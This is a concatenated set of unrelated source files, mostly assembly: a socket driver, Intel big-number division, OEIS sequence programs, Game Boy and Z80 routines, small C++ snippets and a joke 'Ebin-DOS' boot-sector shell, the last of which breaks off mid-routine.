mov cx, dx ; *ds:cx = DomainInfo
mov dx, es:[di].SPH_link ; link handle
movdw axbx, es:[di][bx].LDP_source ; source port
call FindSocketByConnection ; *ds:di=SocketInfo
jnc findQueue
EC < WARNING ORPHANED_PACKET >
jmp done ; (carry set to free)
;
; find the socket for a datagram packet
;
findDatagram:
mov di, ds:[si]
mov di, ds:[di].PI_dgram ; *ds:di=SocketInfo
tst di
EC < WARNING_Z ORPHANED_PACKET >
stc ; indicate caller
; should free
jz done
;
; find the data queue
; any socket found above must have a data queue
;
findQueue::
mov bx, ss:[linkHeader]
mov si, ds:[di] ; ds:si = SocketInfo
movdw cxdx, ss:[packet]
ChunkSizePtr es, bx, ax ; ax <- packet size
; for enqueueing
xchg bx, cx
call HugeLMemUnlock
xchg bx, cx
call SocketEnqueue
;
; wake up any listeners
;
mov bx,di ; *ds:bx = SocketInfo
call WakeUpSocket
clc ; don't free the
; packet, please
done:
call SocketControlEndRead
.leave
ret
ReceiveLinkDataPacket endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ReceiveSequencedDataPacket
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Receive a sequenced packet from a data driver
CALLED BY: (INTERNAL) SocketDataPacket
PASS: es:di - SequencedPacketHeader
cxdx - optr to packet
ds - control segment (locked for read)
RETURN: carry - set to free packet
bxax - space remaining in queue
DESTROYED: nothing
SIDE EFFECTS:
clear PF_LINK in packet to indicate it came from a data driver
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
EW 11/ 9/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ReceiveSequencedDataPacket proc near
uses cx,dx,si,di,bp
packet local optr push cx,dx
packetSize local word
.enter
ChunkSizePtr es,di,ax
mov ss:[packetSize], ax
;
; clear the link flag
;
and es:[di].PH_flags, not mask PF_LINK
;
; get the domain and connection handles
;
mov dx, es:[di].SPH_link
mov cx, es:[di].PH_domain
;
; find the socket
;
call SocketFindLinkByHandle ; dx = offset of link
jc orphan
mov di, cx
mov di, ds:[di]
add di, dx
mov bx, ds:[di].CI_socket
tst bx
jz orphan
EC < mov si,bx >
EC < call ECCheckSocketLow >
;
; unlock the packet
;
push bx
movdw cxdx, ss:[packet]
mov bx, cx
call HugeLMemUnlock
pop bx
;
; find the data queue
;
findQueue::
mov si, ds:[bx] ; ds:si = SocketInfo
call SocketEnqueue ; dxcx = queue size
;
; wake up any listeners
;
call WakeUpSocket
movdw bxax, dxcx
clc
done:
.leave
ret
orphan:
WARNING ORPHANED_PACKET
jmp done
ReceiveSequencedDataPacket endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ReceiveDatagramDataPacket
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Receive a datagram packet from a data driver
CALLED BY: (INTERNAL) SocketDataPacket
PASS: es:di - SequencedPacketHeader
cxdx - optr to packet
ds - control segment (locked for read)
RETURN: carry - set to free packet
bxax - space remaining in queue
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
Do not give a warning about orphan packets, since it is quite common
to receive broadcast TCP packets for which nobody is listening.
REVISION HISTORY:
Name Date Description
---- ---- -----------
EW 12/14/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ReceiveDatagramDataPacket proc near
uses cx,dx,si,di,bp
.enter
;
; clear the link flag
;
and es:[di].PH_flags, not mask PF_LINK
;
; get the portnum
;
push dx
mov ax, MANUFACTURER_ID_SOCKET_16BIT_PORT
mov bx, es:[di].DPH_localPort
mov dx, es:[di].PH_domain
push di
call SocketFindPort ; ds:di=PortArrayEntry
pop bx ; es:bx <- PacketHeader
pop dx
jc done
;
; find the receiver
;
mov si, ds:[di].PAE_info ; *ds:si = PortInfo
mov si, ds:[si] ; ds:si = PortInfo
mov si, ds:[si].PI_dgram ; *ds:si = SocketInfo
tst si
stc
jz done
EC < call ECCheckSocketLow >
;
; unlock the packet
;
ChunkSizePtr es, bx, ax ; ax <- packet size
; for enqueueing
mov bx, cx
call HugeLMemUnlock
;
; store the packet
;
push si
mov si, ds:[si] ; ds:si = SocketInfo
call SocketEnqueue
pop bx ; *ds:bx <- SocketInfo
; for wakeup
call WakeUpSocket
movdw bxax, dxcx
clc
done:
.leave
ret
ReceiveDatagramDataPacket endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ReceiveUrgentDataPacket
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Store an urgent packet into a socket
CALLED BY: (INTERNAL) SocketUrgentData
PASS: cx = domain handle
dx = connection handle
bp = size of data
if (bp <= 4)
bxax = zero padded right justified data
if (bp > 4)
^lbx:ax = optr to chunk containing data
RETURN: nothing
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
use an exclusive lock so we can write SI_urgentData atomicly
REVISION HISTORY:
Name Date Description
---- ---- -----------
EW 12/ 3/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ReceiveUrgentDataPacket proc near
uses ax,bx,cx,dx,si,di,bp
.enter
call SocketControlStartWrite
EC < call ECCheckDomainLow >
;
; find the link
;
call SocketFindLinkByHandle
EC < WARNING_C ORPHANED_PACKET >
jc cleanup ; throw away this data
;
; find the socket
;
mov si, cx
mov di, ds:[si]
add di, dx
mov si, ds:[di].CI_socket
tst si
EC < WARNING_Z ORPHANED_PACKET >
jz cleanup
EC < call ECCheckSocketLow >
;
; store data or pointer
;
mov di, ds:[si]
or ds:[di].SI_flags, mask SF_EXCEPT
xchgdw ds:[di].SSI_urgent, bxax
xchg ds:[di].SSI_urgentSize, bp
mov bx,si
call WakeUpExcept
;
; free the urgent data in bxax, whose size is bp
;
; this can be the new data, in case of an error, or old data
; we overwrote in the socket
;
cleanup:
cmp bp,size dword ; is there a chunk?
jbe done ; nope, nothing to free
mov_tr cx,ax
mov ax,bx
call HugeLMemFree
done:
call SocketControlEndWrite
.leave
ret
ReceiveUrgentDataPacket endp
StrategyCode ends
|
Name: kart-bg.asm
Type: file
Size: 18428
Last-Modified: '1992-08-30T15:00:00Z'
SHA-1: 30C401A474CDCEE6B642AFF789BD0F5E6269A6E1
Description: null
|
###############################################################################
# Copyright 2019 Intel Corporation
# All Rights Reserved.
#
# If this software was obtained under the Intel Simplified Software License,
# the following terms apply:
#
# The source code, information and material ("Material") contained herein is
# owned by Intel Corporation or its suppliers or licensors, and title to such
# Material remains with Intel Corporation or its suppliers or licensors. The
# Material contains proprietary information of Intel or its suppliers and
# licensors. The Material is protected by worldwide copyright laws and treaty
# provisions. No part of the Material may be used, copied, reproduced,
# modified, published, uploaded, posted, transmitted, distributed or disclosed
# in any way without Intel's prior express written permission. No license under
# any patent, copyright or other intellectual property rights in the Material
# is granted to or conferred upon you, either expressly, by implication,
# inducement, estoppel or otherwise. Any license under such intellectual
# property rights must be express and approved by Intel in writing.
#
# Unless otherwise agreed by Intel in writing, you may not remove or alter this
# notice or any other notice embedded in Materials by Intel or Intel's
# suppliers or licensors in any way.
#
#
# If this software was obtained under the Apache License, Version 2.0 (the
# "License"), the following terms apply:
#
# You may not use this file except in compliance with the License. You may
# obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0
#
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
#
# See the License for the specific language governing permissions and
# limitations under the License.
###############################################################################
.section .note.GNU-stack,"",%progbits
.text
.p2align 6, 0x90
.globl cpDiv_BNU32
.type cpDiv_BNU32, @function
cpDiv_BNU32:
push %rbx
push %rbp
push %r12
push %r13
push %r14
push %r15
sub $(40), %rsp
movslq %ecx, %rcx
movslq %r9d, %r9
.L__000Dgas_1:
mov (-4)(%rdx,%rcx,4), %eax
test %eax, %eax
jnz .L__000Egas_1
sub $(1), %rcx
jg .L__000Dgas_1
add $(1), %rcx
.L__000Egas_1:
.L__000Fgas_1:
mov (-4)(%r8,%r9,4), %eax
test %eax, %eax
jnz .L__0010gas_1
sub $(1), %r9
jg .L__000Fgas_1
add $(1), %r9
.L__0010gas_1:
mov %rdx, %r10
mov %rcx, %r11
.Lspec_case1gas_1:
cmp %r9, %rcx
jae .Lspec_case2gas_1
test %rdi, %rdi
jz .Lspec_case1_quitgas_1
movl $(0), (%rdi)
movl $(1), (%rsi)
.Lspec_case1_quitgas_1:
mov %rcx, %rax
add $(40), %rsp
pop %r15
pop %r14
pop %r13
pop %r12
pop %rbp
pop %rbx
ret
.Lspec_case2gas_1:
cmp $(1), %r9
jnz .Lcommon_casegas_1
mov (%r8), %ebx
xor %edx, %edx
.Lspec_case2_loopgas_1:
mov (-4)(%r10,%r11,4), %eax
div %ebx
test %rdi, %rdi
je .Lspec_case2_contgas_1
mov %eax, (-4)(%rdi,%r11,4)
.Lspec_case2_contgas_1:
sub $(1), %r11
jg .Lspec_case2_loopgas_1
test %rdi, %rdi
je .Lspec_case2_quitgas_1
.L__001Cgas_1:
mov (-4)(%rdi,%rcx,4), %eax
test %eax, %eax
jnz .L__001Dgas_1
sub $(1), %rcx
jg .L__001Cgas_1
add $(1), %rcx
.L__001Dgas_1:
movl %ecx, (%rsi)
.Lspec_case2_quitgas_1:
movl %edx, (%r10)
mov $(1), %rax
add $(40), %rsp
pop %r15
pop %r14
pop %r13
pop %r12
pop %rbp
pop %rbx
ret
.Lcommon_casegas_1:
xor %eax, %eax
mov %eax, (%r10,%r11,4)
mov (-4)(%r8,%r9,4), %eax
mov $(32), %ecx
test %eax, %eax
jz .L__002Egas_1
xor %ecx, %ecx
.L__0029gas_1:
test $(4294901760), %eax
jnz .L__002Agas_1
shl $(16), %eax
add $(16), %ecx
.L__002Agas_1:
test $(4278190080), %eax
jnz .L__002Bgas_1
shl $(8), %eax
add $(8), %ecx
.L__002Bgas_1:
test $(4026531840), %eax
jnz .L__002Cgas_1
shl $(4), %eax
add $(4), %ecx
.L__002Cgas_1:
test $(3221225472), %eax
jnz .L__002Dgas_1
shl $(2), %eax
add $(2), %ecx
.L__002Dgas_1:
test $(2147483648), %eax
jnz .L__002Egas_1
add $(1), %ecx
.L__002Egas_1:
test %ecx, %ecx
jz .Ldivisiongas_1
mov %r9, %r15
mov (-4)(%r8,%r15,4), %r12d
sub $(1), %r15
jz .L__0030gas_1
.L__002Fgas_1:
mov (-4)(%r8,%r15,4), %r13d
shld %cl, %r13d, %r12d
mov %r12d, (%r8,%r15,4)
mov %r13d, %r12d
sub $(1), %r15
jg .L__002Fgas_1
.L__0030gas_1:
shl %cl, %r12d
mov %r12d, (%r8)
lea (1)(%r11), %r15
mov (-4)(%r10,%r15,4), %r12d
sub $(1), %r15
jz .L__0032gas_1
.L__0031gas_1:
mov (-4)(%r10,%r15,4), %r13d
shld %cl, %r13d, %r12d
mov %r12d, (%r10,%r15,4)
mov %r13d, %r12d
sub $(1), %r15
jg .L__0031gas_1
.L__0032gas_1:
shl %cl, %r12d
mov %r12d, (%r10)
.Ldivisiongas_1:
mov (-4)(%r8,%r9,4), %ebx
mov %r10, (%rsp)
mov %r11, (8)(%rsp)
sub %r9, %r11
mov %r11, (16)(%rsp)
lea (%r10,%r11,4), %r10
.Ldivision_loopgas_1:
mov (-4)(%r10,%r9,4), %rax
xor %rdx, %rdx
div %rbx
mov %rax, %r12
mov %rdx, %r13
mov (-8)(%r8,%r9,4), %ebp
.Ltune_loopgas_1:
mov $(18446744069414584320), %r15
and %rax, %r15
jne .Ltunegas_1
mul %rbp
mov %r13, %r14
shl $(32), %r14
mov (-8)(%r10,%r9,4), %edx
or %r14, %rdx
cmp %rdx, %rax
jbe .Lmul_and_subgas_1
.Ltunegas_1:
sub $(1), %r12
add %ebx, %r13d
mov %r12, %rax
jnc .Ltune_loopgas_1
.Lmul_and_subgas_1:
mov %r9, %r15
mov %r12d, %ebp
xor %r13, %r13
xor %r14, %r14
sub $(2), %r15
jl .L__0034gas_1
.L__0033gas_1:
mov (%r13,%r8), %rax
mul %rbp
add %r14, %rax
adc $(0), %rdx
xor %r14, %r14
sub %rax, (%r13,%r10)
sbb %rdx, %r14
neg %r14
add $(8), %r13
sub $(2), %r15
jge .L__0033gas_1
add $(2), %r15
jz .L__0035gas_1
.L__0034gas_1:
mov (%r13,%r8), %eax
mul %ebp
add %r14d, %eax
adc $(0), %edx
xor %r14d, %r14d
sub %eax, (%r13,%r10)
sbb %edx, %r14d
neg %r14d
.L__0035gas_1:
mov %r14, %rbp
sub %ebp, (%r10,%r9,4)
jnc .Lstore_duotationgas_1
sub $(1), %r12d
mov %r9, %r15
xor %rax, %rax
xor %r13, %r13
sub $(2), %r15
jl .L__0037gas_1
clc
.L__0036gas_1:
mov (%r10,%r13,8), %r14
mov (%r8,%r13,8), %rdx
adc %rdx, %r14
mov %r14, (%r10,%r13,8)
inc %r13
dec %r15
dec %r15
jge .L__0036gas_1
setc %al
add %r13, %r13
add $(2), %r15
jz .L__0038gas_1
.L__0037gas_1:
shr $(1), %eax
mov (%r10,%r13,4), %r14d
mov (%r8,%r13,4), %edx
adc %edx, %r14d
mov %r14d, (%r10,%r13,4)
setc %al
add $(1), %r13
.L__0038gas_1:
add %eax, (%r10,%r9,4)
.Lstore_duotationgas_1:
test %rdi, %rdi
jz .Lcont_division_loopgas_1
movl %r12d, (%rdi,%r11,4)
.Lcont_division_loopgas_1:
sub $(4), %r10
sub $(1), %r11
jge .Ldivision_loopgas_1
mov (%rsp), %r10
mov (8)(%rsp), %r11
test %ecx, %ecx
jz .Lstore_resultsgas_1
mov %r9, %r15
push %r8
mov (%r8), %r13d
sub $(1), %r15
jz .L__003Agas_1
.L__0039gas_1:
mov (4)(%r8), %r12d
shrd %cl, %r12d, %r13d
mov %r13d, (%r8)
add $(4), %r8
mov %r12d, %r13d
sub $(1), %r15
jg .L__0039gas_1
.L__003Agas_1:
shr %cl, %r13d
mov %r13d, (%r8)
pop %r8
mov %r11, %r15
push %r10
mov (%r10), %r13d
sub $(1), %r15
jz .L__003Cgas_1
.L__003Bgas_1:
mov (4)(%r10), %r12d
shrd %cl, %r12d, %r13d
mov %r13d, (%r10)
add $(4), %r10
mov %r12d, %r13d
sub $(1), %r15
jg .L__003Bgas_1
.L__003Cgas_1:
shr %cl, %r13d
mov %r13d, (%r10)
pop %r10
.Lstore_resultsgas_1:
test %rdi, %rdi
jz .Lquitgas_1
mov (16)(%rsp), %rcx
add $(1), %rcx
.L__003Dgas_1:
mov (-4)(%rdi,%rcx,4), %eax
test %eax, %eax
jnz .L__003Egas_1
sub $(1), %rcx
jg .L__003Dgas_1
add $(1), %rcx
.L__003Egas_1:
movl %ecx, (%rsi)
.Lquitgas_1:
.L__003Fgas_1:
mov (-4)(%r10,%r11,4), %eax
test %eax, %eax
jnz .L__0040gas_1
sub $(1), %r11
jg .L__003Fgas_1
add $(1), %r11
.L__0040gas_1:
mov %r11, %rax
add $(40), %rsp
pop %r15
pop %r14
pop %r13
pop %r12
pop %rbp
pop %rbx
ret
.Lfe1:
.size cpDiv_BNU32, .Lfe1-(cpDiv_BNU32)
|
; A319288: a(n) is the smallest k such that A319284(n, k) >= A319284(n, j) for all 0 <= j <= n.
; 0,0,1,1,2,3,4,5,5,6,7,8,9,10,11,11,12,13,14,15
lpb $0,1
add $1,$0
add $2,2
trn $0,$2
sub $1,$0
trn $0,1
lpe
trn $1,1
|
; asm_isupper
PUBLIC asm_isupper
; determine if the char is in [A-Z]
; enter : a = char
; exit : carry = not upper
; uses : f
.asm_isupper
cp 'A'
ret c
cp 'Z'+1
ccf
ret
|
; A111940: Triangle P, read by rows, that satisfies [P^-1](n,k) = P(n+1,k+1) for n >= k >= 0, with P(k,k)=1 and P(k+1,1)=P(k+1,0) for k >= 0, where [P^-1] denotes the matrix inverse of P.
; Submitted by Jon Maiga
; 1,1,1,-1,-1,1,0,0,1,1,0,0,-1,-1,1,0,0,0,0,1,1,0,0,0,0,-1,-1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,-1,-1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,-1,-1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,-1,-1,1
lpb $0
add $1,1
sub $0,$1
lpe
sub $1,$0
add $0,1
mod $0,2
sub $0,$1
pow $0,$0
|
;--------------------------------------------------------
; File Created by SDCC : FreeWare ANSI-C Compiler
; Version 2.3.1 Sat Apr 16 13:54:03 2011
;--------------------------------------------------------
.module digits
;--------------------------------------------------------
; Public variables in this module
;--------------------------------------------------------
.globl _digits
;--------------------------------------------------------
; special function registers
;--------------------------------------------------------
;--------------------------------------------------------
; special function bits
;--------------------------------------------------------
;--------------------------------------------------------
; internal ram data
;--------------------------------------------------------
.area _DATA
;--------------------------------------------------------
; overlayable items in internal ram
;--------------------------------------------------------
.area _OVERLAY
;--------------------------------------------------------
; indirectly addressable internal ram data
;--------------------------------------------------------
.area _ISEG
;--------------------------------------------------------
; bit data
;--------------------------------------------------------
.area _BSEG
;--------------------------------------------------------
; external ram data
;--------------------------------------------------------
.area _XSEG
;--------------------------------------------------------
; global & static initialisations
;--------------------------------------------------------
.area _GSINIT
.area _GSFINAL
.area _GSINIT
;--------------------------------------------------------
; Home
;--------------------------------------------------------
.area _HOME
.area _CODE
;--------------------------------------------------------
; code
;--------------------------------------------------------
.area _HOME
.area _HOME
_digits:
.dw _str_0
_str_0:
.ascii "0123456789ABCDEF"
.db 0x00
|
; This function is used to wait a short period after printing a letter to the
; screen unless the player presses the A/B button or the delay is turned off
; through the [wd730] or [wLetterPrintingDelayFlags] flags.
PrintLetterDelay::
ld a, [wd730]
bit 6, a
ret nz
ld a, [wLetterPrintingDelayFlags]
bit 1, a
ret z
push hl
push de
push bc
ld a, [wLetterPrintingDelayFlags]
bit 0, a
jr z, .waitOneFrame
ld a, [wOptions]
and $f
ldh [hFrameCounter], a
jr .checkButtons
.waitOneFrame
ld a, 1
ldh [hFrameCounter], a
.checkButtons
call Joypad
ldh a, [hJoyHeld]
.checkAButton
bit 0, a ; is the A button pressed?
jr z, .checkBButton
jr .endWait
.checkBButton
bit 1, a ; is the B button pressed?
jr z, .buttonsNotPressed
.endWait
call DelayFrame
jr .done
.buttonsNotPressed ; if neither A nor B is pressed
ldh a, [hFrameCounter]
and a
jr nz, .checkButtons
.done
pop bc
pop de
pop hl
ret
|
; tested on 32bit Ubuntu lts 12.04
global _start
; text section of the program
; This section is supposed to have hold instructions
section .text
; _start is the assembly equivalent of the main() of java or C
_start:
; we'll use systemcalls to print to the screen
; unistd_32.h contains a list of systemcall numbers
; for ia32, the unistd_32.h file is at /usr/include/i386-linux-gnu/asm/
; systemcall for printing to screen is 4
; we'll use the write(2) wrapper over systemcall 4
; write(2) takes a file descriptor, a buffer and the length of the buffer
; stdin is mapped to fd 0, stdout to fd 1 and stderr to fd 2
; we raise interrupt 0x80 to invoke the systemcalls
; the eax register must contain the systemcall number
; return value of the systemcalls is generally put back into the eax register
mov eax, 0x4
; ebx has 1 to imply that we want to write to stdout
mov ebx, 0x1
; referring to the string by its label
mov ecx, message
; storing the length of the string in edx
mov edx, mlen
; issuing the systemcall using interrupt 0x80
int 0x80
; we'll exit the program now
; exiting is systemcall 1
; we'll use the _exit(2) wrapper for this
; _exit(2) takes a systemcall number and an exit status code
mov eax, 0x1
mov ebx, 0x0
int 0x80
; data section of the program
; This is supposed to hold the initialised data values
section .data
message: db "Hello assembly!"
mlen equ $-message
|
/**
* Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
* SPDX-License-Identifier: Apache-2.0.
*/
#include <aws/mediapackage/model/UtcTiming.h>
#include <aws/core/utils/HashingUtils.h>
#include <aws/core/Globals.h>
#include <aws/core/utils/EnumParseOverflowContainer.h>
using namespace Aws::Utils;
namespace Aws
{
namespace MediaPackage
{
namespace Model
{
namespace UtcTimingMapper
{
static const int NONE_HASH = HashingUtils::HashString("NONE");
static const int HTTP_HEAD_HASH = HashingUtils::HashString("HTTP-HEAD");
static const int HTTP_ISO_HASH = HashingUtils::HashString("HTTP-ISO");
static const int HTTP_XSDATE_HASH = HashingUtils::HashString("HTTP-XSDATE");
UtcTiming GetUtcTimingForName(const Aws::String& name)
{
int hashCode = HashingUtils::HashString(name.c_str());
if (hashCode == NONE_HASH)
{
return UtcTiming::NONE;
}
else if (hashCode == HTTP_HEAD_HASH)
{
return UtcTiming::HTTP_HEAD;
}
else if (hashCode == HTTP_ISO_HASH)
{
return UtcTiming::HTTP_ISO;
}
else if (hashCode == HTTP_XSDATE_HASH)
{
return UtcTiming::HTTP_XSDATE;
}
EnumParseOverflowContainer* overflowContainer = Aws::GetEnumOverflowContainer();
if(overflowContainer)
{
overflowContainer->StoreOverflow(hashCode, name);
return static_cast<UtcTiming>(hashCode);
}
return UtcTiming::NOT_SET;
}
Aws::String GetNameForUtcTiming(UtcTiming enumValue)
{
switch(enumValue)
{
case UtcTiming::NONE:
return "NONE";
case UtcTiming::HTTP_HEAD:
return "HTTP-HEAD";
case UtcTiming::HTTP_ISO:
return "HTTP-ISO";
case UtcTiming::HTTP_XSDATE:
return "HTTP-XSDATE";
default:
EnumParseOverflowContainer* overflowContainer = Aws::GetEnumOverflowContainer();
if(overflowContainer)
{
return overflowContainer->RetrieveOverflow(static_cast<int>(enumValue));
}
return {};
}
}
} // namespace UtcTimingMapper
} // namespace Model
} // namespace MediaPackage
} // namespace Aws
|
; A230595: Number of ways to write n as n = x*y, where x and y are primes, 1 <= x <= n, 1 <= y <= n.
; Submitted by Christian Krause
; 0,0,0,1,0,2,0,0,1,2,0,0,0,2,2,0,0,0,0,0,2,2,0,0,1,2,0,0,0,0,0,0,2,2,2,0,0,2,2,0,0,0,0,0,0,2,0,0,1,0,2,0,0,0,2,0,2,2,0,0,0,2,0,0,2,0,0,0,2,0,0,0,0,2,0,0,2,0,0,0,0,2,0,0,2,2,2,0,0,0,2,0,2,2,2,0,0,0,0,0
mov $1,$0
seq $0,1221 ; Number of distinct primes dividing n (also called omega(n)).
seq $1,86436 ; Maximum number of parts possible in a factorization of n; a(1) = 1, and for n > 1, a(n) = A001222(n) = bigomega(n).
sub $1,1
cmp $1,1
mul $0,$1
|
; size_t strrcspn(const char *str, const char *cset)
SECTION code_string
PUBLIC strrcspn
EXTERN asm_strrcspn
strrcspn:
pop af
pop de
pop hl
push hl
push de
push af
jp asm_strrcspn
|
; multi-line
#ruledef
{
emit {x: i8} => 0x11 @ x
load {x: i8} => 0x22 @ x
test {x} => asm
{
emit x
emit 0xff
load x
}
}
test 0x12 ; = 0x1112_11ff_2212 |
// Copyright (c) 2022 PaddlePaddle Authors. All Rights Reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
#include "paddle/phi/core/compat/op_utils.h"
namespace phi {
KernelSignature SeluGradGradOpArgumentMapping(
const ArgumentMappingContext& ctx) {
return KernelSignature(
"selu_grad", {"Out", "Out@GRAD"}, {"scale", "alpha"}, {"X@GRAD"});
}
} // namespace phi
PD_REGISTER_ARG_MAPPING_FN(selu_grad, phi::SeluGradGradOpArgumentMapping);
|
; A267453: Number of OFF (white) cells in the n-th iteration of the "Rule 131" elementary cellular automaton starting with a single ON (black) cell.
; Submitted by Jon Maiga
; 0,2,3,5,5,8,7,10,11,12,12,16,15,17,18,20,20,23,22,25,26,27,27,31,30,32,33,35,35,38,37,40,41,42,42,46,45,47,48,50,50,53,52,55,56,57,57,61,60,62,63,65,65,68,67,70,71,72,72,76,75,77,78,80,80,83,82,85,86,87,87,91,90,92,93,95,95,98,97,100,101,102,102,106,105,107,108,110,110,113,112,115,116,117,117,121,120,122,123,125
add $0,1
mul $0,2
mov $1,$0
gcd $0,3
add $1,1
lpb $1
add $0,5
trn $1,4
lpe
div $0,2
sub $0,3
|
; Copyright (C) 2018 cmp
; Licensed under the ISC License
; Check the LICENSE file that
; was distributed with this copy.
;forked for the shirt lmao
bits 16 ; x86 considered harmful
org 0x7c00 ; We land here
jmp short start ; Jump to the useful bit
error: db "Something happened.", 0x0D, 0x0A, "Something happened.", 0x00
; print_srt
; Prints a 0x00 terminated string
; <- SI - string to print
print_str:
push si ; Yes
push ax
.loop:
lodsb ; Load another character from si
test al, al ; Test if al=0
jz .exit ; If so, jump to .exit
; Otherwise, continue
mov ah, 0x0E ; Calling BIOS print (0x10), ah=0E
int 0x10 ; Print char from al (BIOS)
jmp .loop ; Keep looping
.exit:
pop ax
pop si
ret ; Return from function
; halt
; Halts the shit
halt:
hlt ; Halt it all
jmp halt ; Keep halting
; The DA packet used to load the rest of the "OS"
align 4
da_packet:
db 0x10 ; Packet size
db 0x00 ; ????????
dw 16 ; Number of sectors
dw 0x7e00 ; Buffer
dw 0x00
dd 0x01 ; Read here ok
dd 0x00
; Main bit
start:
xor ax, ax ; Clear ax
cli
jmp 0x0000:boiler_my_plates
boiler_my_plates:
mov ss, ax ; Segment bullshit
mov ds, ax
mov es, ax
mov sp, 0x7bf0 ; Stack shit
sti
clc ; Clear carry
mov dl, 0x80 ; The C drive
mov si, da_packet ; The DA packet
mov ah, 0x42 ; CHS BTFO
int 0x13
jc short .error ; Oh, shit...
jmp shell_main ; Phew
.error:
mov si, error ; Something happened
call print_str ; Something happened
jmp halt
times 0x0200 - 2 - ($ - $$) db 0 ; Fill it up
dw 0x0AA55 ; Boot you son of a bitch
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
intro: db "Ebin-DOS", 0x0D, 0x0A, "Copyright (C) Ebin Corporation", 0x0D, 0x0A, 0x00
shell_ps: db ":DD\> ", 0x00
endl: db 0x0D, 0x0A, 0x00
deletchar: db 0x08, 0x20, 0x08, 0x00
input: times 128 db 0x00
p2: db "' detected to be ebin, aborting.", 0x00
p1: db "'", 0x00
spurdo: db "spurdo", 0x00
absolute_ebin: db ":DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD EBINN", 0x00
; shell_main
; Boots up the shell
shell_main:
mov al, 0x02 ; Set video mode (clears the screen)
xor ah, ah
int 0x10
mov si, intro ; Print intro
call print_str
mov si, endl ; Newline
call print_str
jmp shell ; Jump to the shell
jmp halt ; (dead) Halt the system
; print_harmful
; Prints the harmful message
print_harmful:
push si
mov si, input ; Put it here
mov di, spurdo ; :DDDDD
call strcmp ; Compare
cmp dl, 0x01 ; Same?
je .ebin ; YES, EBIN!
mov si, p1 ; Print the first part of message
call print_str
mov si, input ; Print the input
call print_str
mov si, p2 ; Print the second part of the message
call print_str
jmp .average_ebin ; It's ok ebin
.ebin:
mov si, absolute_ebin ; :::::::DDDDDDDDDDDDDDDDDDD
call print_str ; EBINN
.average_ebin:
mov si, endl ; Newline
call print_str
call clear_input ; Clear the input string
pop si
ret ; Return
; strcmp
; Compare string
; <- DS:SI; ES:DI = strings
; -> DL = 0x01 if equal, 0x00 if not
strcmp:
push ax ; save these
push si
push di
.loop:
lodsb ; Load character
mov ah, byte [es:di] ; Move a byte from second string
inc di ; Increment pointer
cmp al, ah ; Compare characters from string
jne .ne ; Not equal, get out
test al, al ; We hit 0
jz .e ; They're a match! <3 (gay)
jmp .loop ; We jumped nowhere, continue
.ne:
xor dl, dl ; Clear dl
jmp .done ; Out
.e:
mov dl, 0x01 ; Happy couple, still gay
.done:
pop di
pop si
pop ax
ret
; clear_input
; Clears the input string
clear_input:
push di
push cx
mov di, input ; Move input to di
xor al, al ; Set al to 0
mov cx, 128 ; Set cx to 128
cld ; Go forwards
rep stosb ; Store zeroes until the end
pop cx
pop di
ret ; Return
; shell
; Main part of the "shell"
shell:
push si
push di
push cx
mov si, shell_ps ; Print the shell prompt
mov di, input
mov cx, 127
call print_str
.loop_inp:
xor ah, ah ; Get char to al
int 0x16
cmp al, 0x0D ; Check for enter
je .newline ; If so, it's a newline
cmp al, 0x08 ; Check for backspace
je .delet ; If so, delete last character
test al, al ; Check if al was zero (special key)
jz .loop_inp ; If so, just keep looping
mov ah, 0x0E ; Print the input
int 0x10
test cx, cx ; Check for overflow
jz .delet ; If so, do a backspace
cld ; Go forwards
stosb ; Store our character into input
dec cx ; Decrement cx (char stored)
jmp .loop_inp ; Keep looping
.newline:
mov si, endl ; 0x0D, 0x0A, 0x00
call print_str ; Print the newline
call print_harmful ; Print that it's harmful
pop cx
pop di
pop si
jmp shell ; Initialize shell again
.delet:
cmp cx, 127 ; Check if it's the start of string
je .loop_inp ; If so, don't delete anything
mov si, deletchar ; 0x08, 0x20, 0x08, 0x00
